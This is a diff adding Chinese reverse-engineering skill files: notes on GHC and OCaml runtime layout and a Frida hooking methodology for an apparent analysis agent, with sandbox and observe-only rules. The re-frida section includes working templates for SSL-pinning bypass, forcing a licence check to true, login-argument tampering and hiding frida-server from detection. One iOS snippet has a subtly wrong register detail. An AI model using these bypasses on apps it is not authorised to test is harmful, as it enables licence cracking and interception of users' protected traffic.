对照要点:`.cmx` 携带 CLambda 近似(函数名/元数/是否内联)——元数信息可直接用于调用点参数布局判断。
|
||||
|
||||
## 6. tagged int 与 block 头速查(反汇编判读用)
|
||||
|
||||
```
|
||||
整数 42 → 内存值 0x55(42<<1|1),最低位=1
|
||||
指向 block 的指针 → 最低位=0(8 字节对齐)
|
||||
block 头(3 字段,tag 0) → (3<<10)|(0<<8)|0 = 0xC00
|
||||
```
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 一切从符号锚点出发:GHC `模块_名_closure/info` 对、OCaml `caml<模块>__<名>_<id>`
|
||||
- closure 首字段 = info 指针是分派核心;模式匹配/闭包调用都经它跳转
|
||||
- 字节码判别用 `file`/头字节;`caml_start_program` 仅 native 运行库有,是 native 特征,字节码判据用 `caml_interprete`
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 本机 9.14.1 / 4.14.2 实测;用户产物以自身版本为准(入口符号/魔数随版本变,见 [[layout]] 版本差异)
|
||||
- 与 [[re-analyze/analysis-contract]](数据流图传递)、[[re-triage]](初勘兜底)配合使用
|
||||
@@ -0,0 +1,106 @@
|
||||
# 函数式运行时布局:GHC 堆对象 / OCaml 值表示 / 调用约定
|
||||
|
||||
Haskell(GHC)与 OCaml 的产物共性:堆对象头部携带"分派指针"(GHC info table / OCaml block 头),函数调用经闭包间接跳转。本文件字段基于 GHC 9.14.1 与 OCaml 4.14.2 实测,版本差异单独标注。
|
||||
|
||||
## GHC 堆对象(closure)
|
||||
|
||||
### closure 布局(实测)
|
||||
|
||||
```
|
||||
closure:
|
||||
+0 info table 指针(StgInfoTable 的 entry code 地址)← 分派点
|
||||
+8 字段 0(构造器参数/捕获变量/求值结果)
|
||||
+16 字段 1 ...
|
||||
```
|
||||
|
||||
- **closure 首字段 = info 指针**(实测:`Main_main_closure` 内容 = `Main_main_info` 地址,字节验证见 [[examples]])
|
||||
- 分派:调用/求值 = 读 info 指针 → 跳到 entry code;entry code 末尾通常 `jmp` 到后续处理(更新帧/返回)
|
||||
|
||||
### info table 与 entry code
|
||||
|
||||
- `_info` 符号 = entry code 地址;info table 字段(layout/type/srt)在 entry code 之前的负偏移区
|
||||
- 符号形态:`<模块>_<名字>_closure`(数据)+ `<模块>_<名字>_info`(代码);模块名 z 编码(`zi`=`.` 等)
|
||||
- 求值链:thunk 的 entry code 求值后写回 closure 并跳更新帧(`stg_upd_frame_info` 相关)——`stg_upd_frame_info`/`stg_enter_info` 出现处 = 惰性求值机制
|
||||
|
||||
### CAF(常量应用形式)
|
||||
|
||||
- 顶层常量/无参函数以 CAF 形式静态分配(.data 区),首次引用才求值(thunk)
|
||||
- 定位:`newCAF` 调用点(RTS 符号);`Main_main_closure` 即典型 CAF
|
||||
|
||||
### GHC 调用约定
|
||||
|
||||
| 项 | 规则 |
|
||||
|---|---|
|
||||
| 参数 | 经栈传递(STG 栈,非硬件栈) |
|
||||
| 返回值 | R1-R3 寄存器(盒值在 R1) |
|
||||
| 分派 | 经 info 指针(闭包调用 = 读 info → 跳 entry) |
|
||||
| 求值触发 | thunk entry → 求值 → 更新 closure(WHNF) |
|
||||
|
||||
## OCaml 值表示
|
||||
|
||||
### tagged int 与 block(64 位,原生代码)
|
||||
|
||||
| 值 | 表示 | 判定 |
|
||||
|---|---|---|
|
||||
| 整数 | `value = 真值 << 1 \| 1` | 最低位=1(奇数) |
|
||||
| block 指针 | 指向 header 的 8 字节对齐指针 | 最低位=0(偶数) |
|
||||
| 未装箱 double | 特殊 tag(250)block 或寄存器 | — |
|
||||
|
||||
### block 头(header,64 位)
|
||||
|
||||
```
|
||||
header = (size << 10) | (color << 8) | tag
|
||||
size: 字段数(字) color: GC 三色 tag: 构造器标签
|
||||
```
|
||||
|
||||
- tag 语义:0-246 构造器标签(模式匹配按 tag 分发);247-255 特殊(250=double,248=string 等)
|
||||
- 双字段加速:`caml_alloc2/alloc3` 一次分配多字段 block(`caml_alloc` 单字段通用)
|
||||
|
||||
### 闭包(函数值)
|
||||
|
||||
- 闭包 = 带 tag 的 block,字段 = 环境(捕获变量)+ 代码指针(首字段)
|
||||
- 调用:装载参数到寄存器 → `caml_apply2`/`caml_apply3`(按参数个数分派)或直接跳闭包代码
|
||||
- 运行时函数符号:`caml_apply1..N`(部分应用)、`caml_alloc*`(分配)、`caml_main`/`caml_startup_common`/`caml_startup`/`caml_start_program`(入口链)
|
||||
|
||||
### OCaml 入口链(原生,实测 4.14.2)
|
||||
|
||||
```
|
||||
main (C 入口,runtime/main.c)
|
||||
└─ caml_main(argv) ← runtime/main.c 定义 main 并调用 caml_main(caml_main 定义于 startup_byt.c/startup_nat.c)
|
||||
└─ caml_startup_common
|
||||
└─ caml_start_program ← 仅 native 运行库(4.14.2 libasmrun.a 实测);字节码入口 caml_main → caml_startup_aux → caml_interprete(无此符号)
|
||||
└─ caml<模块>__entry(各模块初始化,含全局数据分配)
|
||||
└─ 业务入口(camlHello__entry)
|
||||
```
|
||||
|
||||
- 主链是 `caml_main`;`caml_startup`/`caml_startup_pooled` 是供 C 嵌入方调用的等价入口(签名同为 void (char_os **argv),区别在 pooling 标志与异常行为),勿混淆。4.14.2 实测地址:caml_main=0x26180、caml_startup_common=0x25ec0、caml_startup=0x26150、caml_start_program=0x4a990(反汇编见 [[examples]])
|
||||
- 模块级函数命名:`caml<模块>__<名字>_<数字id>`(如 `camlHello__add_267`)
|
||||
|
||||
### OCaml 字节码产物结构
|
||||
|
||||
```
|
||||
可执行文件:
|
||||
#!<ocamlrun 路径>\n 脚本头(file 报 "ocamlrun script executable")
|
||||
T 前导魔数(4.x 实测)
|
||||
代码区(无长度字段,长度见尾部 TOC)
|
||||
各分节数据 + 尾部 TOC: 分节名(4 字符)+大端长度逐条列出,末为分节数与 "Caml1999X031"
|
||||
分节: CODE 代码 / PRIM 原语表 / DATA 数据 / SYMB 全局符号 / CRCS CRC 串 / DLLS 动态库
|
||||
```
|
||||
|
||||
- 判别:`file sample` 输出 `ocamlrun script executable`;`head -c 32 | xxd` 见 `#!` 头
|
||||
- 结构分析:`ocamlobjinfo sample`(.cmo/.cmx/字节码 exe 均可,输出导入单位/CRC/CLambda 近似)
|
||||
|
||||
## 版本差异要点
|
||||
|
||||
| 项 | 老版本 | 实测版本(本文档) |
|
||||
|---|---|---|
|
||||
| OCaml 入口 | `main → caml_main → caml_startup_common → caml_start_program`(各版本一致;runtime/main.c 定义 `main` 并调用 `caml_main`,`caml_main` 定义于 startup_byt.c/startup_nat.c) | 同左(4.14.2 实测,地址见 [[examples]]) |
|
||||
| 字节码魔数 | 魔法串在文件尾 TOC(`Caml1999X`+版本号,exec.h 定义) | 前导 `T` + 尾部 `Caml1999X031`(4.14 实测) |
|
||||
| GHC 版本 | RTS 符号命名随版本微调 | 9.14.1(stg_ap_*/stg_upd_frame_info 稳定) |
|
||||
|
||||
- 跨版本稳定的锚点:OCaml tagged int 最低位规则、block 头 tag 低字节、GHC closure 首字段 info 指针
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 静态分析无需沙箱;跨平台(Linux/Windows/macOS)产物结构一致(C 运行时移植)
|
||||
- 与 [[re-analyze/analysis-contract]](数据流图传递)、[[re-cpp-abi]](表指针分派对照)配合使用
|
||||
@@ -0,0 +1,120 @@
|
||||
---
|
||||
name: re-frida-script-author
|
||||
type: atomic
|
||||
description: >
|
||||
Frida 脚本生成方法论:目标特征 → 模板选择 → 改写 → 验证。独立于执行插桩(re-frida)。
|
||||
触发词:生成Frida脚本、写hook脚本、frida脚本怎么写、写个hook、脚本生成。
|
||||
capabilities: [frida-instrumentation]
|
||||
---
|
||||
|
||||
# Frida 脚本生成
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:需要新脚本时——拦截(加密/网络/文件)、绕过(检测/固定)、追踪(JNI/方法调用)
|
||||
- 用:现成模板没有的变体——按 [[re-frida/frida-scripts]] 模板改写出目标专用脚本
|
||||
- 不用:执行现成脚本 → 转 [[re-frida]](本技能只产出脚本,运行与进程管理在 re-frida)
|
||||
- 不用:反检测对抗面整体分析 → [[re-analyze/anti-dynamic-workflow]]
|
||||
- 不用:纯静态可解的问题——先走 [[re-apk]] / [[re-ghidra]] 静态路径,动态是最后手段
|
||||
- 不用:目标不可达(无设备/无 root/无越狱、加固拦注入)——先解决环境([[re-frida]] 工具准备),不硬写脚本
|
||||
|
||||
## 工具准备
|
||||
|
||||
### frida-tools(脚本编写与运行验证)
|
||||
|
||||
- 推荐(upstream 路径): `python -m pip install -U frida-tools`,建议用 venv 或 pipx 隔离环境
|
||||
- 第三方渠道: `brew install frida` 等非 upstream 渠道,安装前核验版本与维护状态,不与 pip 路径等同看待
|
||||
- 验证: `frida --version`、`frida-ps -U`(连设备后)
|
||||
- 注意: `frida`(运行时)与 `frida-tools`(CLI)版本需配套;跨大版本升级(16 → 17)有 API 移除,写法差异见 [[gotchas]] 版本组
|
||||
|
||||
### python3(配合脚本调试)
|
||||
|
||||
- 各平台同 [[re-python]] 工具准备
|
||||
|
||||
### 反编译辅助(侦察用)
|
||||
|
||||
- jadx([[re-apk]])静态出类/方法清单;Ghidra/IDA([[re-ghidra]] / [[re-ida]])native 侧符号与调用点定位
|
||||
- 验证: 能按包名列出目标类与方法签名
|
||||
|
||||
### 目标设备/模拟器
|
||||
|
||||
- Android 真机/模拟器 + frida-server(至少与主机 frida 同 major,安装见 [[re-frida]] 工具准备);桌面目标直接本机
|
||||
- iOS 越狱环境 frida-server 见 [[re-ios-jb]]
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按「探 → 选 → 改 → 验」四步,先探后写,不猜。每步产物(特征清单/脚本/验证输出)记录路径 + sha256(见 [[re-triage]]),供报告引用。
|
||||
|
||||
1. **目标侦察**:
|
||||
- 静态:目标包名/类名/关键 API([[re-apk]] jadx 输出)、加固商特征([[re-mobile-pack]])、Flutter/RN 混合结构([[re-hybrid-app]])
|
||||
- 动态基线:原样跑一次抓崩溃与日志(崩溃特征 → 保护机制对照,见 [[re-analyze/anti-dynamic-workflow]])
|
||||
- 产出:目标特征清单——检测点/目标 API 全限定名/输入输出形态/方法 overload 数
|
||||
- 不确定的类名/方法名先小脚本枚举(`Java.enumerateLoadedClasses` / `Java.use(...).overloads`),不猜名字
|
||||
- 侦察结论记入 [[re-analyze/analysis-contract]] 契约字段(包名/类名/API 清单),供脚本与报告复用
|
||||
|
||||
2. **模板选择**:按特征清单对照 [[re-frida/frida-scripts]] 模板表:
|
||||
|
||||
| 目标特征 | 模板 |
|
||||
|---|---|
|
||||
| HTTPS 抓包被 TLS 加密(BoringSSL) | TLS 密钥日志(SSLKEYLOGFILE) |
|
||||
| 证书固定挡抓包 | SSL 固定绕过(TrustManager/CertificatePinner) |
|
||||
| 加密算法/密钥要提取 | 加密拦截(Cipher/SecretKeySpec 全 overload) |
|
||||
| 加固/运行时解密 | DEX dump(类加载点)/ SO dump |
|
||||
| 双向 TLS 客户端证书 | keystore p12 导出 |
|
||||
| JNI 动态注册要还原 | RegisterNatives + 汇聚点双 hook |
|
||||
| 反调试/检测拦截 | 检测绕过表(root/属性/文件/命令) |
|
||||
|
||||
- 特征不匹配任何模板 → 组合改写(多个模板拼装)而非从零写
|
||||
- 选完模板先读模板内已知边界注释([[re-frida/frida-scripts]]),避免重复踩坑
|
||||
|
||||
3. **改写**:
|
||||
- 替换占位符:包名/类名/方法名(精确匹配,Java 全限定名)
|
||||
- overload 精确匹配:先 `overloads` 枚举再逐个定义或按参数类型选(见坑 1)
|
||||
- 结构规范:Java 操作包在 `Java.perform`;保存 original 引用、带原 `this` 调用;`Interceptor.attach` 里 onEnter 用 `this.context` 读寄存器,**改返回值只能在 onLeave 用参数 `retval.replace(...)`**——`this` 上只有 returnAddress/context/errno/lastError/threadId/depth,没有 `this.returnValue`;且 retval 跨调用复用,需留存时先 `ptr(retval.toString())` 复制
|
||||
- 输出统一 JSON(可打印 ASCII + hex 双格式)经 `send()` 传出;每个 hook 主体 `try/catch`,错误发消息不静默
|
||||
- 同一类多 hook 合并进一个 `.implementation`(缓存静默覆盖,见坑 2)
|
||||
- 骨架参考(Java + native 双面最小结构,按目标裁剪):
|
||||
```js
|
||||
Java.perform(function () {
|
||||
var Cls = Java.use("com.target.Cls");
|
||||
Cls.method.overload("java.lang.String").implementation = function (s) {
|
||||
try { send({ type: "call", arg: s ? s.toString() : null }); }
|
||||
catch (e) { send({ type: "error", msg: String(e) }); }
|
||||
return this.method(s); // 调原实现(保留原 this)
|
||||
};
|
||||
});
|
||||
Interceptor.attach(
|
||||
Process.getModuleByName("libtarget.so").getExportByName("func"),
|
||||
{ onEnter: function (args) { send({ type: "native", arg0: args[0].toInt32() }); } }
|
||||
);
|
||||
```
|
||||
- native 侧:导出符号优先(`Process.getModuleByName(...).getExportByName`;旧写法 `Module.getExportByName` 见 [[gotchas]] 版本组);非导出函数用调用点 hook 或内存特征定位
|
||||
|
||||
4. **验证**:
|
||||
```sh
|
||||
frida -U -f <pkg> -l script.js --pause # spawn + 停在早期代码前
|
||||
frida -U -f <pkg> -l script.js -o out.json # 输出存文件(大流量/批量时)
|
||||
```
|
||||
- 验证清单:hook 挂载成功(无报错输出)→ 触发目标路径(操作 app 或复现调用)→ 输出与静态分析一致 → 重复触发输出稳定
|
||||
- 输出 JSON 可解析、目标行为符合预期(拦截到目标调用/绕过生效)
|
||||
- 失败 → 回步骤 2 重选模板或细化特征;崩溃 → 按 [[re-analyze/anti-dynamic-workflow]] 崩溃对照表定位;输出为空 → 见 [[decision-tree]] 排查分支
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-frida]]:脚本执行(本技能产出 → re-frida 运行)
|
||||
- [[re-mobile]] / [[re-android-native]]:移动目标场景衔接
|
||||
- [[re-analyze/anti-dynamic-workflow]]:检测面与崩溃迭代法
|
||||
- [[re-frida/frida-scripts]]:模板素材库(re-frida references)
|
||||
- [[re-analyze/analysis-contract]]:脚本输出按数据契约消费(证据存档)
|
||||
- [[re-ios-jb]]:iOS 越狱环境执行侧
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **overload 不匹配静默失效**:现象——hook 无输出;原因——目标方法 overload 签名与定义不符;对策——先 `Java.use(...).<method>.overloads` 列出全部重载再选
|
||||
- **Java.use 缓存覆盖**:现象——多个 hook 只生效最后一个;原因——同类多次 `.implementation` 赋值静默覆盖;对策——合并进一个 hook
|
||||
- **参数索引版本相关**:现象——native 参数读错;原因——目标版本字段/参数位次变化;对策——对照目标符号核实,不照搬经验值
|
||||
- **不侦察就写脚本**:现象——脚本对不上目标;原因——跳过步骤 1;对策——先探后写
|
||||
- **绕过类脚本只观察不持久化**:现象——测试后目标状态被改;原因——脚本含写操作;对策——脚本只做读取/日志,绕过仅用于观察(红线)
|
||||
- **类未加载时 hook 不生效**:现象——类存在但无输出;原因——懒加载/加固延迟加载;对策——`Java.choose` 或对类加载点下 hook([[re-analyze/anti-dynamic-workflow]])
|
||||
- **版本相关 API 报错**:现象——`Module.getExportByName is not a function`;原因——Frida 17 移除静态 Module 查找 API;对策——按 [[gotchas]] 版本组迁移写法
|
||||
- 模板选择分支与验证排查树见 [[decision-tree]];版本差异与边界见 [[gotchas]];全部在沙箱内执行([[re-analyze/platform-tips]] 最高原则),脚本输出按 [[re-analyze/analysis-contract]] 契约存档
|
||||
@@ -0,0 +1,73 @@
|
||||
# Frida 脚本生成决策树与证据分级
|
||||
|
||||
## 场景决策树(入口 → 分支)
|
||||
|
||||
### 1. 目标类型分支(第一级)
|
||||
|
||||
```
|
||||
目标对象
|
||||
├─ Java/ART 层(类/方法级逻辑)
|
||||
│ └─ 模板族:Java hook(Java.use + implementation)
|
||||
├─ Native 层(JNI / so 内逻辑)
|
||||
│ ├─ 导出函数 → Interceptor.attach 锚定导出符号
|
||||
│ └─ 非导出/静态函数 → 调用点 hook 或内存特征扫描
|
||||
├─ Flutter / React Native 混合([[re-hybrid-app]])
|
||||
│ └─ 先按混合结构定位 JS/Dart 侧逻辑,再决定 hook 面
|
||||
└─ 横切能力(网络/加密/存储)→ 直接对照模板表(步骤 2)
|
||||
```
|
||||
|
||||
### 2. 目标行为分支(第二级)
|
||||
|
||||
```
|
||||
要做什么
|
||||
├─ 拦截数据(参数/返回值/明文)
|
||||
│ ├─ TLS 加密 → SSLKEYLOGFILE 模板
|
||||
│ ├─ 证书固定挡抓包 → SSL 固定绕过模板
|
||||
│ └─ 加密算法/密钥 → Cipher 拦截模板(全 overload)
|
||||
├─ 绕过检测/限制
|
||||
│ ├─ root/调试器/模拟器检测 → 检测绕过表
|
||||
│ └─ 证书/签名校验 → 校验绕过(只观察不持久化,红线)
|
||||
├─ 还原逻辑
|
||||
│ ├─ JNI 动态注册 → RegisterNatives + 汇聚点双 hook
|
||||
│ └─ 运行时解密内容 → DEX/SO dump 模板
|
||||
└─ 追踪调用序列 → 日志型 hook(不中断不改值)
|
||||
```
|
||||
|
||||
### 3. 验证失败排查分支(无输出时)
|
||||
|
||||
```
|
||||
hook 无输出
|
||||
├─ 脚本控制台有异常 → 修语法/API 版本问题([[gotchas]] 版本组)
|
||||
├─ 无报错但无输出
|
||||
│ ├─ 类未加载 → Java.choose / 类加载点 hook([[re-analyze/anti-dynamic-workflow]])
|
||||
│ ├─ overload 不匹配 → 枚举 overloads 重选
|
||||
│ ├─ 目标路径未触发 → 操作 app 触发后再观察
|
||||
│ └─ 多 hook 互相覆盖 → 合并进一个 implementation
|
||||
└─ 进程未注入/连接失败 → 查设备连接与 frida-server 版本([[re-frida]])
|
||||
```
|
||||
|
||||
## 证据分级表
|
||||
|
||||
| 级别 | 证据形态 | 示例 | 用途 |
|
||||
|---|---|---|---|
|
||||
| A 强 | 动态拦截 + 静态交叉闭合 | 拦截到目标调用,参数/返回值与 jadx 反编译一致 | 可下结论(密钥、调用链、明文格式) |
|
||||
| B 中 | 动态输出可解析但无静态交叉 | 只有 hook 输出,静态侧对不上或缺失 | 可下「疑似」,标注缺静态侧 |
|
||||
| C 弱 | 静态推断 | 仅凭反编译推断调用存在,未动态确认 | 只支持「待验证」 |
|
||||
| 反证 | 良性解释 | 检测到调用但确认属正常功能路径 | 记录并存档 |
|
||||
|
||||
- 脚本输出按 [[re-analyze/analysis-contract]] 契约存档:时间戳、进程、hook 点、参数/返回值、原始 hex
|
||||
- 绕过类结论(检测绕过成功/固定绕过成功)单独标注,与数据类结论分开陈述
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 先探后写:类名/方法名/overload 数先枚举再写死,脚本里不猜目标符号
|
||||
- Java 操作包在 `Java.perform`;回调线程场景注意线程切换(`Java.scheduleOnMainThread`)
|
||||
- 输出结构化 JSON(ASCII + hex)比打印字符串可消费性好;`try/catch` 包住每个 hook 主体,错误发消息不静默
|
||||
- hook 最小化:只拦需要的方法——全类 hook 引入性能与稳定性噪声,验证时先小范围
|
||||
- 版本敏感 API 先查当前 frida 版本:Frida 17 起静态 Module 查找 API 移除([[gotchas]])
|
||||
- 可复现性:占位符模板 + 目标特征清单一起存档,脚本可重放
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 动态执行在沙箱内([[re-sandbox]] / [[re-analyze/platform-tips]] 最高原则)
|
||||
- 绕过类脚本只观察不持久化(红线);输出按 [[re-analyze/analysis-contract]] 契约存档
|
||||
@@ -0,0 +1,36 @@
|
||||
# Frida 脚本方法论坑与边界
|
||||
|
||||
## 版本差异组(最容易踩)
|
||||
|
||||
- **Frida 17 移除静态 Module 查找 API**:`Module.getExportByName()` / `Module.findExportByName()` / `Module.enumerateExports()` 等在 Frida 17 起不再是函数——脚本运行报 `TypeError: not a function`;迁移写法:全局符号用 `Module.getGlobalExportByName("open")` / `Module.findGlobalExportByName("open")`,指定模块用 `Process.getModuleByName("libc.so").getExportByName("open")`;动笔前先 `frida --version` 确认版本再选写法
|
||||
- **frida / frida-tools / frida-server 版本需配套**:设备端 frida-server 与主机端 frida 大版本不一致会连接失败或行为异常;升级任一后先 `frida-ps -U` 验证
|
||||
- **gadget 与 server 模式差异**:无 root 场景用 frida-gadget(集成进 app),hook 时机比 server 模式早(app 启动早期);同一脚本两种模式行为可能不同,按运行模式分别验证
|
||||
- **行为以当前版本为准**:`Interceptor` 回调细节、`Java.perform` 使用时机、`Java.choose` 语义在 16/17 间有变化——异常先查对应版本官方文档,不照旧教程
|
||||
|
||||
## Java 层坑组
|
||||
|
||||
- **overload 不匹配静默失效**:`.implementation` 的形参数量/类型必须与目标 overload 一致,否则 hook 挂上但不生效——先 `overloads` 枚举再写
|
||||
- **同类多 hook 缓存覆盖**:同一类多次 `.implementation` 赋值只有最后一次生效——合并进一个 hook 内分支
|
||||
- **类未加载**:目标类懒加载/加固延迟加载时,脚本启动即 `Java.use` 抛 ClassNotFoundException——用 `Java.choose`(已实例对象)或延迟到类加载后;加固场景先处理脱壳([[re-mobile-pack]])
|
||||
- **混淆后类名漂移**:ProGuard/R8 混淆的 release 包类名/方法名与 debug 包不同——以目标包实际字符串为准(jadx 输出),不照抄其他版本经验值
|
||||
- **回调线程**:在非 Java 线程直接调 Java 方法可能异常——主线程操作用 `Java.scheduleOnMainThread` 调度
|
||||
|
||||
## Native 层坑组
|
||||
|
||||
- **导出符号找不到**:目标函数未导出(`static`/strip)时 `getExportByName` 返回 null——改用调用点 hook(从 Java 层 JNI 调用进入)或 `Memory.scan` 内存特征定位
|
||||
- **多 ABI / 多 so 同名**:同一函数名在多个 so 中存在(多 ABI 或版本化库)——hook 前确认目标模块实例,按模块名锚定
|
||||
- **字符串编码**:native 返回值常为 UTF-8(Java 侧是 UTF-16)——按调用点语义选解码方式,别统一按一种编码解析
|
||||
- **参数寄存器按平台**:ARM64 前 8 参在 x0-x7;x86_64 是 rdi/rsi/rdx/rcx/r8/r9——onEnter 里 `this.context` 按目标架构读取,对照目标核实不照搬
|
||||
|
||||
## 反例与边界组
|
||||
|
||||
- **无输出 ≠ 未 hook**:目标路径未触发(需操作/定时/特定输入)、权限弹窗拦截、进程已崩溃——先确认触发条件再判「hook 失败」
|
||||
- **绕过成功 ≠ 目标无防护**:绕过只对本次运行有效,重启/更新后可能失效——结论标注版本范围与运行模式
|
||||
- **只观察不持久化**:绕过类脚本若含写操作会留下测试痕迹——脚本只读/日志,写操作单独评估(红线)
|
||||
- **全类 hook 的反例**:高频方法全类 hook 会让 app 变慢或崩溃——hook 面最小化,先小范围验证再扩大
|
||||
- **模板是起点不是终点**:[[re-frida/frida-scripts]] 模板按目标版本改写,直接套旧模板可能因 API 差异失效
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 动态执行在沙箱内([[re-analyze/platform-tips]] 最高原则);脚本与输出按 [[re-analyze/analysis-contract]] 契约存档
|
||||
- 结论按 [[decision-tree]] 证据分级标注(A/B/C/反证),绕过类与数据类结论分开陈述
|
||||
166
vendor-new/rev-skills/.claude/skills/re-frida/SKILL.md
Normal file
166
vendor-new/rev-skills/.claude/skills/re-frida/SKILL.md
Normal file
@@ -0,0 +1,166 @@
|
||||
---
|
||||
name: re-frida
|
||||
description: >
|
||||
Frida 动态插桩(桌面+移动统一)。
|
||||
触发词:frida、hook、插桩、绕过、spawn
|
||||
capabilities: [frida-instrumentation]
|
||||
---
|
||||
|
||||
# Frida 动态插桩
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:需要 hook 函数(拦截 / 改参 / 改返回值)、枚举模块与类、绕过证书校验 / root 检测、观察运行时调用链
|
||||
- 用:移动端(Android / iOS)与桌面端(Linux / macOS / Windows)统一的插桩需求
|
||||
- 不用:只需静态分析(Android 走 [[re-apk]],格式走 [[re-format-elf]] / [[re-format-macho]] 系列)
|
||||
- 不用:需要系统调用级跟踪(走 [[re-tracing]])
|
||||
- 不用:需要完整调试器体验(断点 / 单步 / 内存,走 [[re-gdb]] / [[re-lldb]] / [[re-x64dbg]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
动态分析按 [[re-analyze/platform-tips]] 最高原则:移动端在受控设备 / 模拟器快照内执行,桌面端插桩前确认沙箱环境。所有工具先验证再使用。
|
||||
|
||||
### frida-tools —— 主机侧命令行工具
|
||||
|
||||
- 跨平台(Linux / macOS / Windows): `pip install frida-tools`(Python 3.8+;建议 venv: `python3 -m venv venv && venv/bin/pip install frida-tools`)
|
||||
- 验证: `frida --version`(输出 frida 版本号);`frida-ps -U` / `frida-trace -h` 可用
|
||||
|
||||
### frida-server —— 移动端插桩代理
|
||||
|
||||
- 下载:GitHub release `https://github.com/frida/frida/releases`,选 `frida-server-<版本>-android-<架构>`(arm64 选 `-arm64`,32 位选 `-arm`,模拟器 x86_64 选 `-x86_64`)
|
||||
- **客户端与 frida-server 至少须同 major**(对照 `frida --version`);为避免功能/API 差异,推荐使用完全相同且最新的版本。架构与设备匹配,否则连接报协议错误(见坑 1)
|
||||
- Android 推送与启动:
|
||||
```sh
|
||||
adb push frida-server-xxx /data/local/tmp/frida-server
|
||||
adb shell "chmod 755 /data/local/tmp/frida-server"
|
||||
adb shell "su -c /data/local/tmp/frida-server" & # 或 adb root 后直接运行
|
||||
```
|
||||
- iOS 越狱设备:Sileo / Cydia 添加源 `https://build.frida.re` 安装 frida deb,或 `ssh root@<设备IP>` 后安装
|
||||
- 验证: 主机 `frida-ps -U` 能列出设备进程(`-U` = USB 设备,`-R` = 远程 ip:port)
|
||||
|
||||
### objection —— 免写 JS 的快速插桩
|
||||
|
||||
- 要求 Python >=3.10(与 frida 自身 binding 的 `>=3.7` 下限不同,需单独满足): `python -m pip install -U objection`,建议另建 3.10+ 的 venv 或 pipx 隔离
|
||||
- 验证: `objection --version`
|
||||
- 用法: `objection -n <应用或 Bundle ID> start`,内置 `android hooking` / `ios hooking` 子命令(如 `android hooking list activities`、`ios sslpinning disable`)
|
||||
- 1.12.x 起 `-g` / `explore` 已弃用(在 CLI 中隐藏,仅出弃用告警,旧写法仍可跑);新写作用 `-n` + `start`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记下结果。
|
||||
|
||||
1. **spawn vs attach 选择**:
|
||||
```sh
|
||||
frida -U -f com.target.app # spawn:从零启动应用,能抓启动早期逻辑(解密 / 初始化)
|
||||
frida -U com.target.app # attach:附加到已运行进程(不重启)
|
||||
frida-trace -U -f com.target.app -i "Java!*" # 启动即跟踪 Java 方法调用
|
||||
```
|
||||
规则:抓启动逻辑 / 绕过早期检测用 spawn;只是观察现状用 attach。attach 晚于启动,可能错过已执行完的早期逻辑(见坑 2)。
|
||||
|
||||
2. **JS hook 编写(拦截 / 改参 / 返回值)**:
|
||||
```js
|
||||
// hook.js —— 拦截、改参数、改返回值(Android Java 层)
|
||||
Java.perform(function () {
|
||||
var cls = Java.use("com.example.Target");
|
||||
cls.doLogin.implementation = function (user, pass) {
|
||||
console.log("doLogin(" + user + ", " + pass + ")");
|
||||
return this.doLogin("hacked", "pass123"); // 改参
|
||||
};
|
||||
cls.isLicensed.implementation = function () {
|
||||
return true; // 改返回值
|
||||
};
|
||||
});
|
||||
```
|
||||
```sh
|
||||
frida -U -f com.target.app -l hook.js
|
||||
```
|
||||
原生函数用 `Interceptor.attach(Process.getModuleByName("libfoo.so").findExportByName("func"), { onEnter: ..., onLeave: ... })` 拦截(onEnter 改参数、onLeave 用 `retval.replace()` 改返回值)。桌面端同样本:`frida -p <pid> -l hook.js`。
|
||||
|
||||
3. **枚举与调用(enumerateModules / Java.perform)**:
|
||||
```js
|
||||
Java.perform(function () {
|
||||
Java.enumerateLoadedClasses({
|
||||
onMatch: function (c) { if (c.indexOf("target") >= 0) console.log(c); },
|
||||
onComplete: function () {}
|
||||
});
|
||||
});
|
||||
```
|
||||
```js
|
||||
// 模块与导出枚举(原生层)
|
||||
Process.enumerateModules().forEach(function (m) { console.log(m.name + " " + m.base); });
|
||||
Process.getModuleByName("libfoo.so").enumerateExports().forEach(function (e) { console.log(e.name); });
|
||||
```
|
||||
运行: `frida -U -f com.target.app -l enum.js`。定位到目标后直接主动调用:`Java.use("com.x").method(...)` / 原生导出函数。
|
||||
|
||||
4. **绕过证书校验 / 检测(常见模板)**:
|
||||
```js
|
||||
// Android SSL 绕过模板(配合抓包工具)
|
||||
Java.perform(function () {
|
||||
var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
|
||||
var TrustAll = Java.registerClass({
|
||||
name: "com.bypass.TrustAll",
|
||||
implements: [X509TrustManager],
|
||||
methods: { checkClientTrusted: function () {}, checkServerTrusted: function () {},
|
||||
getAcceptedIssuers: function () { return []; } }
|
||||
});
|
||||
var SSLContext = Java.use("javax.net.ssl.SSLContext");
|
||||
SSLContext.init.implementation = function (km, tm, sr) {
|
||||
this.init(km, [TrustAll.$new()], sr);
|
||||
};
|
||||
});
|
||||
```
|
||||
```js
|
||||
// iOS 证书绕过:hook SecTrustEvaluateWithError 返回值
|
||||
var SecTrust = Module.findGlobalExportByName("SecTrustEvaluateWithError"); // Frida 17+:全局符号静态查找
|
||||
Interceptor.attach(SecTrust, { onLeave: function (r) { this.context.x0 = 0; } }); // arm64 返回寄存器 x0;x86_64 用 rdi 场景先验证
|
||||
```
|
||||
现成命令:`objection -n com.target.app start` → `android sslpinning disable` / `ios sslpinning disable`。
|
||||
|
||||
5. **反检测对抗(隐藏 frida-server、改名)**:
|
||||
- 常见检测点:frida-server 默认端口 27042、`/data/local/tmp/frida-server` 路径、`gum-js-loop` / `gmain` 线程名、`/proc/self/maps` 中的 frida 特征、`frida` 字符串
|
||||
- 对策:
|
||||
```sh
|
||||
# 1) 二进制改名后启动(避开路径检测)
|
||||
cp frida-server-xxx /data/local/tmp/fridad
|
||||
adb shell "su -c 'chmod 755 /data/local/tmp/fridad && /data/local/tmp/fridad' &"
|
||||
